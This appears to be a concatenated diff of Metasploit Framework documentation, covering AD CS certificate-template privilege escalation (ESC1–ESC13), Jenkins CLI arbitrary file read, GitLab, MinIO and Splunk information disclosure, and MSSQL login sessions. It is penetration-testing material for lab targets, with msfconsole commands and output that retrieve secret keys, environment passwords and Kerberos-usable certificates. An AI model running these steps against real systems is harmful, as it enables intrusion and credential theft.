set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
```
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
## Installing Metasploit on Windows
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
### Windows Anti-virus software flags the contents of these packages!
@@ -5,18 +5,39 @@ for testing purposes.
# Introduction to AD CS Vulnerabilities
```mermaid
flowchart TD
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
ESC4(ESC4)
update_template[<i>Update Template</i>]
ESC4 --> update_template
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
ESC3(ESC3)
ESC13(ESC13)
alt_subject[<i>Alternate Subject Issuance</i>]
as_eagent[<i>Enrollment Agent Issuance</i>]
normal[<i>Normal Issuance</i>]
ESC1 --> alt_subject
ESC2 --> as_eagent
ESC3 --> as_eagent
ESC13 --> normal
as_eagent -- use new certificate --> normal
end
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
PKINIT[<i>PKINIT</i>]
end
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
end
alt_subject --> PKINIT
find_vulnerable_templates --> icpr_cert
normal --> PKINIT
update_template --> ESC1
```
The chart above showcases how one can go about attacking four common AD CS
The chart above showcases how one can go about attacking five unique AD CS
vulnerabilities, taking advantage of various flaws in how certificate templates are
configured on an Active Directory Certificate Server.
@@ -30,8 +51,7 @@ administrator via Kerberos.
Each certificate template vulnerability that will be discussed here has a ESC code, such
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
SpecterOps published which popularized these certificate template attacks, known as
[Certified
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
attacks that they found they could conduct via misconfigured certificate templates:
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
- ESC7 - Vulnerable Certificate Authority Access Control
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
Later, another
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
could allow normal domain joined users to abuse certificate template misconfigurations to
gain domain administrator privileges.
Later, additional techniques were disclosed by security researchers:
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
`CertificateMappingMethods` contains `UPN` flag.
- ESC10 - Weak Certificate Mappings -
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
RPC](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
- ESC12 - A user with shell access to a CA server using a YubiHSM2 hardware security module can access the CA's private
key.
- [Shell access to ADCS CA with YubiHSM](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm)
- ESC13 - Domain escalation via issuance policies with group links.
- [ADCS ESC13 Abuse Technique](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc13]]
Finally, we have ESC11, which was discovered by Compass Security and described in their
[blog
post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
this page only covers exploiting ESC1 to ESC4 at this time.
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4 and ESC13. As such,
this page only covers exploiting ESC1 through ESC4 and ESC13 at this time.
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -134,7 +155,9 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
which users or groups can use that certificate template to elevate their privileges.
At this time, the module is capable of identifying techniques ESC1 through ESC3.
Currently the module is capable of checking for certificates that are vulnerable to ESC1, ESC2, ESC3, and ESC13. The
module is limited to checking for these techniques due to them being identifiable remotely from a normal user account by
analyzing the objects in LDAP.
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
@@ -858,6 +881,67 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
used to authenticate to Active Directory as the Domain Admin.
# Exploiting ESC13
To exploit ESC13, we need to target a certificate that has an issuance policy linked to a universal group in Active
Directory. Unlike some of the other ESC techniques, successfully exploiting ESC13 isn't necessarily guaranteed to yield
administrative privileges, rather the privileges that are gained are those of the group which is linked to by OID in the
certificate template's issuance policy. The `auxiliary/gather/ldap_esc_vulnerable_cert_finder` module is capable of
identifying certificates that meet the necessary criteria. When one is found, the module will include the group whose
permissions will be included in the resulting Kerberos ticket in the notes section. In the following example, the
ESC13-Test template is vulenerable to ESC13 and will yield a ticket including the ESC13-Group permissions.
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[*] Template: ESC13-Test
[*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local
[*] Vulnerable to: ESC13
[*] Notes: ESC13 groups: ESC13-Group
[*] Certificate Template Enrollment SIDs:
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-513 (Domain Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] Issuing CAs:
[*] * collalabs1-SRV-ADDS01-CA
[*] Server: SRV-ADDS01.collalabs1.local
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] * S-1-5-21-3474343397-3755413101-2031708755-519 (Enterprise Admins)
[*] * S-1-5-21-3474343397-3755413101-2031708755-512 (Domain Admins)
```
In this case, the ticket can be issued with the `icpr_cert` module. No additional options are required to issue the
certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1
SMBDomain => COLLALABS1
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA
CA => collalabs1-SRV-ADDS01-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test
CERT_TEMPLATE => ESC13-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate Email: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3474343397-3755413101-2031708755-10051
[*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local
[*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group`
RID present in the Groups field of the TGT PAC.
# Authenticating With A Certificate
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
@@ -106,5 +106,5 @@ sequenceDiagram
- AS-REP Roasting - Some Kerberos accounts may be configured with a `Do not require Kerberos preauthentication` flag. For these accounts a Kerberos TGT will be returned by the KDC without needing to authenticate. These TGTs can be bruteforced to learn the original user's credentials. The [[auxiliary/scanner/kerberos/kerberos_login|pentesting/active-directory/kerberos/kerberos_login.md#asreproasting]] module implements this workflow.
- Forging Tickets - After compromising a KDC or service account it is possible to forge tickets for persistence. The [[auxiliary/admin/kerberos/forge_ticket|pentesting/active-directory/kerberos/forge_ticket.md]] module can forge both Golden and Silver tickets.
- Inspecting Tickets - Kerberos tickets can be inspected with the [[auxiliary/admin/kerberos/inspect_ticket|pentesting/active-directory/kerberos/inspect_ticket.md]] module. If the encryption key is known, the decrypted contents can be displayed.
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services suh as WinRM/Microsoft SQL Server/SMB/LDAP/etc
- [[Service authentication|kerberos/service_authentication.md]] - Using Kerberos to authenticate via services such as WinRM/Microsoft SQL Server/SMB/LDAP/etc
- [[Kerberoasting|kerberos/kerberoasting.md]] - Finding services in Active Directory that are associated with normal user accounts which may have brute forcible encryption keys that lead to Active Directory credentials.
+3
View File
@@ -325,6 +325,9 @@ NAVIGATION_CONFIG = [
{
path: 'Metasploit-Web-Service.md'
},
{
path: 'How-to-Configure-DNS.md'
},
{
title: 'Meterpreter',
folder: 'meterpreter',
@@ -3,6 +3,8 @@ Request certificates via MS-ICPR (Active Directory Certificate Services). Depend
template's configuration the resulting certificate can be used for various operations such as authentication.
PFX certificate files that are saved are encrypted with a blank password.
This module is capable of exploiting ESC1, ESC2, ESC3 and ESC13.
## Module usage
1. From msfconsole
File diff suppressed because one or more lines are too long
@@ -1,9 +1,13 @@
## RBCD Exploitation
## AD CS Certificate Template Exploitation
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
the CREATE or UPDATE actions.
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data
file to be specified to define the attributes. Template data files are provided to create a template that is
vulnerable to ESC1, ESC2, and ESC3.
This module is capable of exploiting ESC4.
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
necessary permissions to perform the specified action on the target object (the certificate specified in
@@ -4,7 +4,7 @@ Provided AWS credentials, this module will call the authenticated API of Amazon
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
identified targets (without requiring target-level credentials) using the CreateSession datastore option. The module also
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
## Verification Steps
@@ -0,0 +1,72 @@
## Vulnerable Application
Information disclosure affecting all versions of GitLab
before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1
by sending a GET request to the project URI and appending "-/tags"
### Docker installation instructions can be found here:
https://docs.gitlab.com/ee/install/docker.html
Once installed, create a project. Once the project is
created, add a new tag by expanding the Code menu item
on the left, then selecting Tags. Then click on the
New Tag button in the top right corner.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use [module path]`
1. Do: `set RHOSTS [IP]`
1. Do: `run`
1. You should receive output with user names and email addresses assocaited with project tags
## Options
### TARGETPROJECT
This will gather information for ALL PUBLICLY ACCESSIBLE PROJECTS. IF you know the specific project you would
like to target, you would need to set that here.
## Scenarios
### Scrape all Workspaces/Projects
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1
[+] [2024.02.09-11:18:23] Scraping ALL projects...
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__010524.xml
[+] [2024.02.09-11:18:23] name: john doe
[+] [2024.02.09-11:18:23] e-mail: johndoe@example.com
[*] [2024.02.09-11:18:23] Check RSS tags feed for: Workspace1/Project2
[+] [2024.02.09-11:18:23] Output saved to /root/.msf4/loot/20240209111823_default_127.0.0.1_gitlab.RSS.info__822263.xml
[+] [2024.02.09-11:18:23] name: janedoe
[+] [2024.02.09-11:18:23] e-mail: janedoe@example.com
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws2/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj1
[-] [2024.02.09-11:18:23] No tags or authors found
[*] [2024.02.09-11:18:23] Check RSS tags feed for: ws3/proj2
[-] [2024.02.09-11:18:23] No tags or authors found
[*] Auxiliary module execution completed
```
### Specify Project
```
msf6 > use auxiliary/gather/gitlab_tags_rss_info_disclosure
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > set TARGETPROJECT Workspace1/Project1
TARGETPROJECT => Workspace1/Project1
msf6 auxiliary(gather/gitlab_tags_rss_info_disclosure) > run
[*] Running module against 127.0.0.1
[*] [2024.02.09-11:44:43] Check RSS tags feed for: Workspace1/Project1
[+] [2024.02.09-11:44:43] Output saved to /root/.msf4/loot/20240209114443_default_127.0.0.1_gitlab.RSS.info__390983.xml
[+] [2024.02.09-11:44:43] name: janedoe
[+] [2024.02.09-11:44:43] e-mail: janedoe@example.com
[*] Auxiliary module execution completed
```
@@ -0,0 +1,135 @@
## Vulnerable Application
This module utilizes the Jenkins cli protocol to run the `help` command.
The cli is accessible with read-only permissions by default, which are
all thats required.
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
replace any `@<filename>` with the contents of a file. We are then able to retrieve
the error message to read up to the first two lines of a file.
Exploitation by hand can be done with the cli, see markdown documents for additional
instructions.
There are a few exploitation oddities:
1. The injection point for the `help` command requires 2 input arguments.
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
However, we can pad out the content by supplying a first argument.
2. There is a strange timing requirement where the `download` (or first) request must get
to the server first, but the `upload` (or second) request must be very close behind it.
From testing against the docker image, it was found values between `.01` and `1.9` were
viable. Due to the round trip time of the first request and response happening before
request 2 would be received, it is necessary to use threading to ensure the requests
happen within rapid succession.
Files of value:
* /var/jenkins_home/secret.key
* /var/jenkins_home/secrets/master.key
* /var/jenkins_home/secrets/initialAdminPassword
* /etc/passwd
* /etc/shadow
* Project secrets and credentials
* Source code, build artifacts
Vulnerable versions include:
* < 2.442
* LTS < 2.426.3
### Protocol Breakdown
A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
### Docker Setup
Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read`
1. Do: `set rhost [ip]`
1. Do: `run`
1. You should get the first two lines of the `FILE_PATH`
## Options
### FILE_PATH
File path to read from the server. Defaults to `/etc/passwd`.
Other files which may be of value:
* `/var/jenkins_home/secret.key`
* `/var/jenkins_home/secrets/master.key`
* `/var/jenkins_home/secrets/initialAdminPassword`
* `/etc/passwd`
* `/etc/shadow`
* Project secrets and credentials
* Source code, build artifacts
### DELAY
Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
Defaults to `0.5`
Testing against the docker image showed values between `.01` and `1.9` were successful.
### ENCODING
Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
### LOCALITY
Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
## Scenarios
### jenkins 2.440-jdk17 on Docker
```
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
file_path => /var/jenkins_home/secrets/initialAdminPassword
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
[*] Re-attempting with padding for single line output file
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
f5d5f6e98e1f466aad22c0f81ca48fb0
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
[*] Auxiliary module execution completed
```
### jenkins 2.426.2-lts on Docker
```
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
file_path => /var/jenkins_home/secret.key
msf6 auxiliary(gather/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read) > run
[*] Running module against 127.0.0.1
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
[*] Re-attempting with padding for single line output file
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
[*] Auxiliary module execution completed
```
@@ -0,0 +1,47 @@
## Vulnerable Application
MinIO is a Multi-Cloud Object Storage framework. In a cluster deployment starting with
RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns
all environment variables, including `MINIO_SECRET_KEY` and `MINIO_ROOT_PASSWORD`,
resulting in information disclosure.
### Docker Image
1. Download docker yml: https://raw.githubusercontent.com/vulhub/vulhub/master/minio/CVE-2023-28432/docker-compose.yml
1. Execute `docker-compose up` inside the same directory containing the docker-compose.yml
1. Then MinIO's login page should be available at http://127.0.0.1:9001/
## Verification Steps
1. Start msfconsole
1. Do: `use auxiliary/gather/minio_bootstrap_verify_info_disc.rb`
1. Do: `set rhost [IP]`
1. Do: `run`
1. You should get MinIO Environmental Variables
## Options
## Scenarios
### MinIO 2023-02-27T18:10:45Z from docker image
```
resource (msf)> set rhost 127.0.0.1
rhost => 127.0.0.1
resource (msf)> set rport 9000
rport => 9000
msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run
[*] Reloading module...
[*] Running module against 127.0.0.1
[+] MINIO_ACCESS_KEY_FILE: access_key
[+] MINIO_CONFIG_ENV_FILE: config.env
[+] MINIO_KMS_SECRET_KEY_FILE: kms_master_key
[+] MINIO_ROOT_PASSWORD: minioadmin-vulhub
[+] MINIO_ROOT_PASSWORD_FILE: secret_key
[+] MINIO_ROOT_USER: minioadmin
[+] MINIO_ROOT_USER_FILE: access_key
[+] MINIO_SECRET_KEY_FILE: secret_key
[+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json
[*] Auxiliary module execution completed
```
@@ -0,0 +1,88 @@
## Vulnerable Application
Splunk versions 6.2.3 through 7.0.1 allows information disclosure by appending
`/__raw/services/server/info/server-info?output_mode=json` to a query.
Versisons 6.6.0 through 7.0.1 require authentication.
### Docker Install
#### Splunk 6.5.5
A vulnerable version of Splunk can be installed locally with docker:
`docker run -p 8000:8000 -e "SPLUNK_PASSWORD=splunk" -e "SPLUNK_START_ARGS=--accept-license" -it --name so1 splunk/splunk:6.5.5`
#### Splunk 7.1.0
At startup it'll ask for a password for the system. You may need to login via the website and accept a license and restart
the service (via website) for the instance to be exploitable. Splunk can be started via docker with:
`docker run -p 8000:8000 -e "SPLUNK_START_ARGS=--accept-license" -it --name so2 splunk/splunk:7.1.0`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/splunk_raw_server_info`
1. Do: `SET RHOSTS [IP]`
1. You should receive output about the Splunk version and roles, license status, including license key info, and OS information.
## Options
## Scenarios
### Splunk 6.5.5
```
msf6 > use auxiliary/gather/splunk_raw_server_info
msf6 auxiliary(gather/splunk_raw_server_info) > exploit
[*] Running module against 127.0.0.1
[+] Output saved to ~/.msf4/loot/20231220130955_default_127.0.0.1_splunk.system.st_442957.bin
[+] Hostname: 3c7b9beb6c3c
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.3-1kali2 (2023-10-03)
[+] OS Version: 6.5.0-kali2-amd64
[+] Splunk Version: 6.5.5
[+] Trial Version?: true
[+] Splunk Forwarder?: false
[+] Splunk Product Type: enterprise
[+] License State: EXPIRED
[+] License Key(s): []
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-19 20:56:13
```
### Splunk 7.1.0
```
[msf](Jobs:0 Agents:0) > use auxiliary/gather/splunk_raw_server_info
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set username admin
username => admin
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set password splunksplunk
password => splunksplunk
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > set verbose true
verbose => true
[msf](Jobs:0 Agents:0) auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1
[+] Output saved to /root/.msf4/loot/20231220204049_default_127.0.0.1_splunk.system.st_943292.json
[+] Hostname: 523a845e8652
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09)
[+] OS Version: 6.5.0-kali3-amd64
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-21 01:40:02
[*] Auxiliary module execution completed
```
@@ -15,6 +15,174 @@ A docker container can be spun up with the following command to test this module
## Options
### CreateSession
When using the `scanner/mssql/mssql_login` module, the CreateSession option can be used to obtain an interactive
session within the MSSQL instance. Running the following commands with all other options set:
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
```
Should give you output containing:
```msf
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.2.242:1433 (192.168.2.242)
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
[*] Starting interaction with 1...
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
# NULL
- ----
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
Oct 8 2022 05:58:25
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Windows Server 2022 Stand
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
```
When interacting with a session, the help command can be useful:
```msf
mssql @ 192.168.2.242:1433 (master) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
MSSQL Client Commands
=====================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queri
es
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
